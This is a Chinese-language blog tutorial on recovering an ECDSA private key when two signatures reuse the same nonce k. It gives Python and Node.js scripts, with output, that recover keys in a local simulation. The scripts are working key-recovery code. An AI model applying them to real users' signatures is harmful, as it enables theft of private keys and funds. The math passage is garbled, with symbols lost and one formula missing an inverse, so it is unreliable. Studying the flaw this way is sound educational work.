一、背景
前段時間某專案遭遇黑客攻擊， 官方公布是因為重復使用相同k值的ECDSA簽名導致私鑰被反推泄漏（這里k值相同就是簽名結果的r值相同），私鑰能被反推？筆者趕快看了一下相關文章，在特定條件下的確可以反推，并且六年前就有人提出這個問題了，看來筆者是孤陋寡聞了，為了弄清楚這個流程，必須親自驗證一下，因此筆者先整理了一下網上的資料，然后就和其它人一起研究，在本地環境模擬了這個反推程序，
注：這里反推私鑰的條件還是很苛刻的，平常我們使用時大可不必擔心這個問題，
索尼 PS3 被破解
k值重復漏洞最早是發生在索尼的 PS3主機被破解事件，索尼 PS3最初的安全目標是使用橢圓曲線數字簽名演算法（ECDSA）來保護系統的安全， 然而索尼在使用橢圓曲線數字簽名演算法（ECDSA）進行簽名處理時，使用了固定的k值，2010年的在fail0overflow大會上， 黑客組織fail0overflow展示了索尼ECDSA的部分代碼，發現他們讓種子的值保持4， 隨后利用這個漏洞來反向推導獲得了私鑰從而實作了完全破解，
ECDSA 在區塊鏈的廣泛應用
因為位元幣使用 ECDSA 簽名演算法，ECDSA加密區塊鏈中被廣泛使用，包括以太坊， 其中大多數區塊鏈交易的簽名演算法就是使用ecdsa簽名演算法，因此了解一下這個K值重復漏洞還是有必要的，
二、漏洞分析
ECDSA簽名具體怎么生成我們不必弄清楚，有興趣的讀者可以自行百度一下相關文章，我們會用就行了，
當生成ECDSA簽名時，需要保證k值是保密且唯一， k值重復可能會導致私鑰泄露，
使用重復的k時（訊息需要不同）， 可以反推出簽名的私鑰， 假定當前有兩個不同訊息的哈希散列值(z1, z2)和它們的簽名(r1, s1) 和 (r2, s2)以及橢圓區的領域引數，
-
首先注意到
r1 = r2， 因為r由k值唯一確定的， 而k是相同的， -
然后計算
( s 1 ? s 2 ) m o d ?? n = k ? 1 ( z 1 ? z 2 ) m o d ?? n (s_1 - s_2) \mod n = k^{-1}(z_1 - z_2) \mod n (s1??s2?)modn=k?1(z1??z2?)modn -
等式兩邊乘以k， 得到
k ( s 1 ? s 2 ) m o d ?? = ( z 1 ? z 2 ) m o d ?? n k(s_1 - s_2) \mod = (z_1 - z2) \mod n k(s1??s2?)mod=(z1??z2)modn -
兩邊乘以 ( s 1 ? s 2 ) ? 1 (s_1 - s_2)^{-1} (s1??s2?)?1,
k = ( z 1 ? z 2 ) ( s 1 ? s 2 ) m o d ?? n k = (z_1 - z_2)(s_1 - s_2) \mod n k=(z1??z2?)(s1??s2?)modn
利用上面的等式之用兩個哈希值和對應的簽名就可以計算k值， 現在用 s 的公式來提取私鑰
s
=
k
?
1
(
z
+
r
d
S
)
m
o
d
??
n
d
S
=
r
?
1
(
s
k
?
z
)
m
o
d
??
n
s = k^{-1} (z + rd_S) \mod n \\ d_S = r^{-1}(sk - z) \mod n
s=k?1(z+rdS?)modndS?=r?1(sk?z)modn
公式我也看得不是很明白，先不管它了，
三、使用Python進行反推驗證
GitHub 已經有人開放了使用Python進行反推私鑰的工具（4年前就放上去了）， 可以利用這個工具來驗證重復的k值是否可以反推賬戶私鑰，不過該反推工具是針對的位元幣賬戶，如果用到以太坊需要修改或者重新撰寫，
https://github.com/tintinweb/DSAregenK
DSAregenK 類的可用于反推， 將公鑰在init時傳入， 并將兩個相同k值的簽名相關的訊息的哈希值， 簽名的r和s值通過add函式添加進去， 然后后運行 run方法就可以得到私鑰的值，
反推代碼實作，需要在python2的環境下安裝相應的庫：pip install pycrypto
先創建一個 DSAregenK.py，內容如下：
'''
Created on 15.01.2013
@author: martin
'''
from Crypto.Random import random
from Crypto.PublicKey import DSA
from Crypto.PublicKey.pubkey import *
from Crypto.Hash import SHA
from Crypto.Util.number import bytes_to_long
import logging
LOG = logging.getLogger('DSAregenK')
class DSAregenK(object):
def __init__(self,pubkey):
self.samples = {}
self.pubkey = pubkey
LOG.debug("+ set: pubkey = %s"%pubkey)
def add(self,signature,hash):
'''
sample is of format ( (r,s),hash(data), pubkey)
signature params,hashed_data
individual pubkey
'''
(r,s) = signature
if not isinstance(hash,long):
hash = bytes_to_long(hash)
sample = bignum(r),bignum(s),bignum(hash) #convert .digest()
if not self.samples.has_key(r):
self.samples[r]=[]
self.samples[r].append(sample)
#LOG.debug("+ added: sample = %s"%repr(sample))
def run(self,asDSAobj=False):
# find samples with equal r in signature
for c in self._find_candidates():
LOG.debug("[*] reconstructing PrivKey for Candidate r=%s"%c)
(k,x) = self._attack(self.samples[c])
if asDSAobj:
yield self._construct_DSA((k,x))
else:
yield (k,x)
def runBrute(self,asDSAobj=False,maxTries=None):
for r,samples in self.samples.iteritems():
LOG.debug("[*] bruteforcing PrivKey for r=%s"%r)
for sample in samples:
LOG.debug("[** - sample for r=%s]"%r)
try:
(k,x) = self._brute_k(sample,maxTries=maxTries)
if asDSAobj:
yield self._construct_DSA((k,x))
else:
yield (k,x)
except Exception, e:
logging.error(e.message)
def _find_candidates(self):
'''
candidates have same r
'''
candidates = []
for r, vals in self.samples.iteritems():
if len(vals)>1:
candidates.append(r)
return candidates
def _attack(self,samples,q=None):
'''
samples = r,s,long(hash)
'''
q = q or self.pubkey.q
rA,sA,hA = samples[0]
k_h_diff = hA
k_s_diff = sA
first = True
for r,s,hash in samples:
if first:
first=False
continue #skip first one due to autofill
k_h_diff -=hash
k_s_diff -=s
k = (k_h_diff)* inverse(k_s_diff,q) %q
x = ((k*sA-hA)* inverse( rA,q) )% q
LOG.debug("privkey reconstructed: k=%s; x=%s;"%(k,x))
return k,x
def _construct_DSA(self,privkey):
k,x = privkey
return DSA.construct([self.pubkey.y,
self.pubkey.g,
self.pubkey.p,
self.pubkey.q,
x])
def _attack_single(self,hA,sigA,hB,sigB,q=None):
q = q or self.pubkey.q
rA,sA=sigA
rB,sB=sigB
k = (hA - hB)* inverse(sA -sB,q) %q
x = ((k*sA-hA)* inverse( rA,q) )% q
return k,x
def _brute_k(self,sample,p=None,q=None,g=None,maxTries=None):
'''
sample = (r,s,h(m))
'''
# 1 < k < q
p = p or self.pubkey.p
q = q or self.pubkey.q
g = g or self.pubkey.g
r,s,h = sample
k= 2
while k< q-1:
if maxTries and k >= maxTries+2:
break
# calc r = g^k mod p mod q
if r == pow(g,k,p)%q:
x = ((k*s-h)* inverse( r,q) )% q
return k,x
k+=1 #next k
raise Exception("Max tries reached! - %d/%d"%(k-2,maxTries))
if __name__=="__main__":
import timeit
code = '''
q=1265463802023530275326394511026959111076549652869
g=84281203019815261389723351787997895766686782784042902057749572710486802455287943930039236293081120645856643138985466753439864717645302485601757623822904847629009405411053311508933914054126213326746234712047394770958935994092610093437274339721778386724204641098513873421986583220412010274767817275626531483349
k =155862235091383259018358242245666680486589863514
p = 89884656743115801565356913078863255627534578994836271275156367742905551420240587387886756001391175742871349954773362607747817656666949585098232008455275447903314834915566557308039663748037501217455176261144977713143895613500344330528376806523498586766563054718557062834734452717511314328898484995977406013223
r,s = (808569543022789887955253071826070582321521360626L, 144740468085989213718785495673981993705197878815L)
pow(g,k,p)%q
'''
trials = 2**15
print trials," trials =>", timeit.timeit(code,number=trials),"s "
然后再創建一個Sample.py，內容如下：
from Crypto.Random import random
from Crypto.PublicKey import DSA
from Crypto.Hash import SHA256
from DSAregenK import DSAregenK
def signMessage(private_key, msg, k=None):
k = k or random.StrongRandom().randint(1, private_key.q-1)
h = SHA256.new(msg).digest()
r, s = private_key.sign(h, k)
return msg, h, (r,s)
if __name__ == "__main__":
secrect_key = DSA.generate(1024)
print("generate private_key = ", hex(secrect_key.x))
k = random.StrongRandom().randint(1, secrect_key.q - 1)
mA = signMessage(secrect_key, "message 1", k)
# same k value
mB = signMessage(secrect_key, "message 2", k)
# use different k value
k = random.StrongRandom().randint(1, secrect_key.q - 1)
mC = signMessage(secrect_key, "message 2", k)
pub_key = secrect_key.publickey()
print("=========================")
print("start recoved same k value")
# recover private key with the two digests that use same k value
a = DSAregenK(pubkey=pub_key)
for m, h, (r,s) in (mA, mB):
a.add((r, s), h)
rets = a.run(asDSAobj=True)
print("##: DSAregenK run get private key num: ", len(list(rets)))
successed = False
for re_privkey in a.run(asDSAobj=True):
print("try recoveing:", hex(re_privkey.x))
if re_privkey.x == secrect_key.x:
successed = True
print("recoved private_key = ", hex(re_privkey.x))
break
print("Is recovign private key correct with same k value: ", successed)
print("=========================")
print("start recoved different k value")
# try recover private key with the two digests that use different k value
a = DSAregenK(pubkey=pub_key)
successed = False
for m, h, (r,s) in (mA, mC):
a.add((r, s), h)
rets = a.run(asDSAobj=True)
print("##: DSAregenK run get private key num: ", len(list(rets)))
for re_privkey1 in a.run(asDSAobj=True):
print("ry recoveing: ", hex(re_privkey1.x))
if re_privkey1.x == secrect_key.x:
successed = True
print("recoved private_key = ", hex(re_privkey1.x))
break
print("Is recovign private key correct with different k value: ", successed)
執行輸出，運行python Sample.py：
('generate private_key = ', '0x7b57770a1246c325da62c341ee07b802f52ca5d2L')
=========================
start recoved same k value
('##: DSAregenK run get private key num: ', 1)
('try recoveing:', '0x7b57770a1246c325da62c341ee07b802f52ca5d2L')
('recoved private_key = ', '0x7b57770a1246c325da62c341ee07b802f52ca5d2L')
('Is recovign private key correct with same k value: ', True)
=========================
start recoved different k value
('##: DSAregenK run get private key num: ', 0)
('Is recovign private key correct with different k value: ', False)
注意：這里是使用Python2來運行的，當前絕大多數電腦使用的是python3，因此筆者嘗試使用python3來重寫相關原始碼以適用以太坊，但是最終放棄了，
使用python和以太坊互動還是挺麻煩的，并且這些庫也太古老了，用起來很不方便，
四、使用Node.js進行反推驗證
既然python不方便，我們就用最方便的語言Javascript好了，
由于筆者平常使用的最多的Node.js中的ethers框架，因此參考了上面python的演算法及網上相關資料，寫了一個Node.js版本的驗證代碼，
注意：本腳本是驗證的是反推以太坊賬號私鑰，
新建一個recover_test.js，內容如下：
const BN = require('bn.js');
const {utils} = require("ethers")
const p = new BN("fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141", 16)
const negativeOne = new BN(-1);
const zero = new BN(0);
//驗證私鑰和公鑰是否一致
function validate_private(privkey, pubkey) {
try {
let signingKey = new utils.SigningKey(privkey);
let publickKey = signingKey.publicKey;
return publickKey == pubkey
} catch(e) {
console.log(e)
}
return false;
}
function recove(h1, s1, h2, s2, r, p, validate, pubkey) {
let s_array = [
s1.sub(s2),
s1.add(s2),
s1.mul(negativeOne).sub(s2),
s1.mul(negativeOne).add(s2),
]
let privatekey = new BN("0")
let count = 1
for (let s of s_array) {
console.log(">>>>> try recover: ", count)
count++
let r_inv = r.invm(p)
let z = h1.sub(h2)
let s_inv = s.invm(p)
let k = (z.mul(s_inv)).mod(p)
let d = s1.mul(k).sub(h1).mod(p).mul(r_inv).mod(p)
if (k.lt(zero) || d.lt(zero)) {
continue
}
let pk = d.toString('hex')
if (pk.length <64) {
pk = "0x0" + pk
} else {
pk = "0x" + pk
}
if (validate(pk, pubkey)) {
console.log("\n\x1b[36m>>>>>>\x1b[32m Congratulations !!! \x1b[36m<<<<<<\x1b[0m\n")
privatekey = pk
break
}
}
return privatekey
}
function recove_eth(h1, s1, h2, s2, r, pubkey) {
let result = recove(h1, s1, h2, s2, r, p, validate_private, pubkey)
if (result == 0) {
result = recove(h2, s2, h1, s1, r, p, validate_private, pubkey)
}
return result
}
function eth_recove() {
console.log("\n======================= eth_recover ====================")
// 設定一個私鑰
let privateKey = '0x0123456789012345678901234567890123456789012345678901234567890123';
let signingKey = new utils.SigningKey(privateKey);
console.log('Private key: ' + privateKey)
// 獲取公鑰和地址
let publickKey = signingKey.publicKey;
console.log('Public key: ' + publickKey)
//0x046655feed4d214c261e0a6b554395596f1f1476a77d999560e5a8df9b8a1a3515217e88dd05e938efdd71b2cce322bf01da96cd42087b236e8f5043157a9c068e
console.log('Address: ' + utils.computeAddress(publickKey));
// "Address: 0x14791697260E4c9A71f18484C9f997B308e59325"
console.log()
// 構造訊息1簽名,r,s,v格式
let message1 = "Hello World1";
let messageDigest1 = utils.hashMessage(message1)
console.log("Digest 1 : " + messageDigest1);
// "Digest: 0x0196b4de3c0a506ffae5c69e14a8dd9d327b4a315f3a3621e1561d63fa3fee9a"
let signature1 = signingKey.signDigest(messageDigest1);
console.log("signature 1:", signature1);
// {
// r: '0xcd5a3be41717d65683fe7a9de8ae5b4b8feced69f26a8b55eeefbcc2e74b75fb',
// s: '0x65ecace51c0f49f1f61fa7de9f8fc26d568a0187da7d51a8311ee2a9941fa5ad',
// _vs: '0xe5ecace51c0f49f1f61fa7de9f8fc26d568a0187da7d51a8311ee2a9941fa5ad',
// recoveryParam: 1,
// v: 28
// }
// 從簽名中恢復公鑰并驗證
let public_key1 = utils.recoverPublicKey(messageDigest1,signature1)
console.log("public_key1 === publickKey :",publickKey === public_key1)
console.log()
// 構造訊息2簽名
let message2 = "Hello World2";
let messageDigest2 = utils.hashMessage(message2)
console.log("Digest 2: " + messageDigest2);
let signature2 = signingKey.signDigest(messageDigest2);
console.log("signature 2: ", signature2);
console.log()
// 恢復密鑰所需的引數 r, s1, s2, z1, z2.
// r 為簽名的r值， 相同k的簽名的r是相同
// s1, s2 為簽名1和簽名2的 s 值
// z1, z2 為訊息1和訊息2的哈希值
// BN 型別需要去掉十六進制的0x
let r = new BN(signature1.r.substring(2), 16)
let s1 = new BN(signature1.s.substring(2), 16)
let s2 = new BN(signature2.s.substring(2), 16)
let z1 = new BN(utils.arrayify(messageDigest1))
let z2 = new BN(utils.arrayify(messageDigest2))
console.log('r = ', r.toString('hex'))
console.log('s1 = ', s1.toString('hex'))
console.log('s2 = ', s2.toString('hex'))
console.log()
// 恢復密鑰
let getPrivkey = recove_eth(z2, s2, z1, s1, r, publickKey)
console.log("\x1b[36m>>>>>> get recover key:\x1b[32m", getPrivkey,"\x1b[0m")
console.log("\x1b[36m>>>>>> recover_key === privateKey:\x1b[32m",getPrivkey === privateKey,"\x1b[0m")
}
eth_recove()
注意：因為ethers并不是使用固定的k值簽名，所以我們需要在本地修改它的庫代碼來實作這個場景，
當然，我們只修改本專案的本地庫就行了，記得測驗完成后再改回去，
運行node recover_test.js，結果為：
======================= eth_recover ====================
Private key: 0x0123456789012345678901234567890123456789012345678901234567890123
Public key: 0x046655feed4d214c261e0a6b554395596f1f1476a77d999560e5a8df9b8a1a3515217e88dd05e938efdd71b2cce322bf01da96cd42087b236e8f5043157a9c068e
Address: 0x14791697260E4c9A71f18484C9f997B308e59325
Digest 1 : 0x0196b4de3c0a506ffae5c69e14a8dd9d327b4a315f3a3621e1561d63fa3fee9a
>>>>>>注意:修改為使用固定K值簽名, k = new BN(200)<<<<<<
signature 1: {
r: '0xcd5a3be41717d65683fe7a9de8ae5b4b8feced69f26a8b55eeefbcc2e74b75fb',
s: '0x65ecace51c0f49f1f61fa7de9f8fc26d568a0187da7d51a8311ee2a9941fa5ad',
_vs: '0xe5ecace51c0f49f1f61fa7de9f8fc26d568a0187da7d51a8311ee2a9941fa5ad',
recoveryParam: 1,
v: 28
}
public_key1 === publickKey : true
Digest 2: 0xe3406111280a8c6b8ecbab94fa079d8b1870de949a3f4d45a2cf2489078db147
>>>>>>注意:修改為使用固定K值簽名, k = new BN(200)<<<<<<
signature 2: {
r: '0xcd5a3be41717d65683fe7a9de8ae5b4b8feced69f26a8b55eeefbcc2e74b75fb',
s: '0x23367bd6011468f70f2ee29d4c3a7925e77f7488a87e941c608905cd6888b2cc',
_vs: '0xa3367bd6011468f70f2ee29d4c3a7925e77f7488a87e941c608905cd6888b2cc',
recoveryParam: 1,
v: 28
}
r = cd5a3be41717d65683fe7a9de8ae5b4b8feced69f26a8b55eeefbcc2e74b75fb
s1 = 65ecace51c0f49f1f61fa7de9f8fc26d568a0187da7d51a8311ee2a9941fa5ad
s2 = 23367bd6011468f70f2ee29d4c3a7925e77f7488a87e941c608905cd6888b2cc
>>>>> try recover: 1
>>>>>> Congratulations !!! <<<<<<
>>>>>> get recover key: 0x0123456789012345678901234567890123456789012345678901234567890123
>>>>>> recover_key === privateKey: true
好了，本地模擬成功，我們在這里只是在本地環境驗證K值相同時的不同簽名可以反推私鑰這個特殊場景，實際使用中幾乎不會遇到相同K值簽名的情況，
結論
從上面的推導可以看出，要想反推別人的私鑰必須滿足以下三個條件：
- 別人使用相同的K值簽名兩個不同的訊息（也就是簽名后的
r值相同） - 知道訊息的內容或者哈希散列值（digest）
- 知道別人的簽名，
這其中2或者3都有可能在網上明文得到，然后比較一下看是否有r值相同的簽名（此時訊息本身必須不同），如果有，那就可以反推了，但真實情況是幾乎沒有r值相同的簽名，除非極特殊的用法或者自定義簽名計算時才有可能，當前所有成熟的工具庫都加入了隨機/不同因素來生成不同的K值，因此不需要擔心這個問題，
轉載請註明出處，本文鏈接：https://www.uj5u.com/qukuanlian/290946.html
標籤：區塊鏈